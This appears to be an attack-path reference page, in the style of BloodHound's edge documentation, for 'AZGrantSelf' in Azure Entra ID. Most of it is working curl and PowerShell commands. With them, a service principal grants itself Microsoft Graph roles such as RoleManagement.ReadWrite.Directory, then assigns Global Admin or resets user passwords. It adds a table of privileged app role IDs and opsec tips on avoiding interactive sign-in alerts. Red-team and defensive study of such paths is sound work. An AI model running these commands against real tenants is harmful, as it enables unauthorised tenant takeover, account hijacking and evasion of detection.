AZGrantSelf
The source service principal can grant app roles to itself on the target resource SP β effectively self-assigning any application permission without admin consent from another principal.
Applies to: AZServicePrincipal β AZServicePrincipal (resource)
Linux Abuse
Self-assign RoleManagement.ReadWrite.Directory (curl)
TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
# Get MS Graph SP object ID
GRAPH_SP_ID=$(curl -s \
"https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appId eq '00000003-0000-0000-c000-000000000000'" \
-H "Authorization: Bearer $TOKEN" | jq -r '.value[0].id')
# Self-assign RoleManagement.ReadWrite.Directory (app role ID)
curl -s -X POST "https://graph.microsoft.com/v1.0/servicePrincipals/<object-id>/appRoleAssignments" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"principalId\": \"<object-id>\",
\"resourceId\": \"$GRAPH_SP_ID\",
\"appRoleId\": \"9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8\"
}"
After self-grant β assign Global Admin to controlled principal
curl -s -X POST "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"principalId": "<object-id>",
"roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10",
"directoryScopeId": "/"
}'
Self-assign User.ReadWrite.All then reset password
# App role ID for User.ReadWrite.All: 741f803b-c850-494e-b5df-cde7c675a1ca
curl -s -X POST "https://graph.microsoft.com/v1.0/servicePrincipals/<object-id>/appRoleAssignments" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"principalId\": \"<object-id>\",
\"resourceId\": \"$GRAPH_SP_ID\",
\"appRoleId\": \"741f803b-c850-494e-b5df-cde7c675a1ca\"
}"
Windows Abuse
BARK β self-grant app role
$Token = Get-MSGraphTokenWithClientCredentials `
-ClientID "<app-id>" -ClientSecret "<secret>" -TenantName "<tenant-id>"
# Get MS Graph SP ID
$GraphSP = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"
New-MgServicePrincipalAppRoleAssignment `
-ServicePrincipalId "<object-id>" `
-PrincipalId "<object-id>" `
-ResourceId $GraphSP.Id `
-AppRoleId "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" # RoleManagement.ReadWrite.Directory
Microsoft.Graph PowerShell β then escalate
Connect-MgGraph -AccessToken <access-token>
# After self-granting RoleManagement.ReadWrite.Directory
$params = @{
principalId = "<object-id>"
roleDefinitionId = "62e90394-69f5-4237-9190-012177145e10"
directoryScopeId = "/"
}
New-MgRoleManagementDirectoryRoleAssignment @params
Key App Role IDs (MS Graph)
| Permission | App Role ID |
|---|---|
| RoleManagement.ReadWrite.Directory | 9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8 |
| User.ReadWrite.All | 741f803b-c850-494e-b5df-cde7c675a1ca |
| GroupMember.ReadWrite.All | dbaae8cf-10b5-4b86-a4a1-f871c94c6695 |
| Application.ReadWrite.All | 1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9 |
| Directory.ReadWrite.All | 19dbc75e-c2e2-444c-a770-ec69d8559fc7 |
Opsec
- Self-granting generates an audit log event: "Add app role assignment to service principal."
- This is invisible in the Azure portal UI under Enterprise Apps but visible in audit logs.
- Token obtained via client_credentials after self-grant does not trigger interactive sign-in alerts.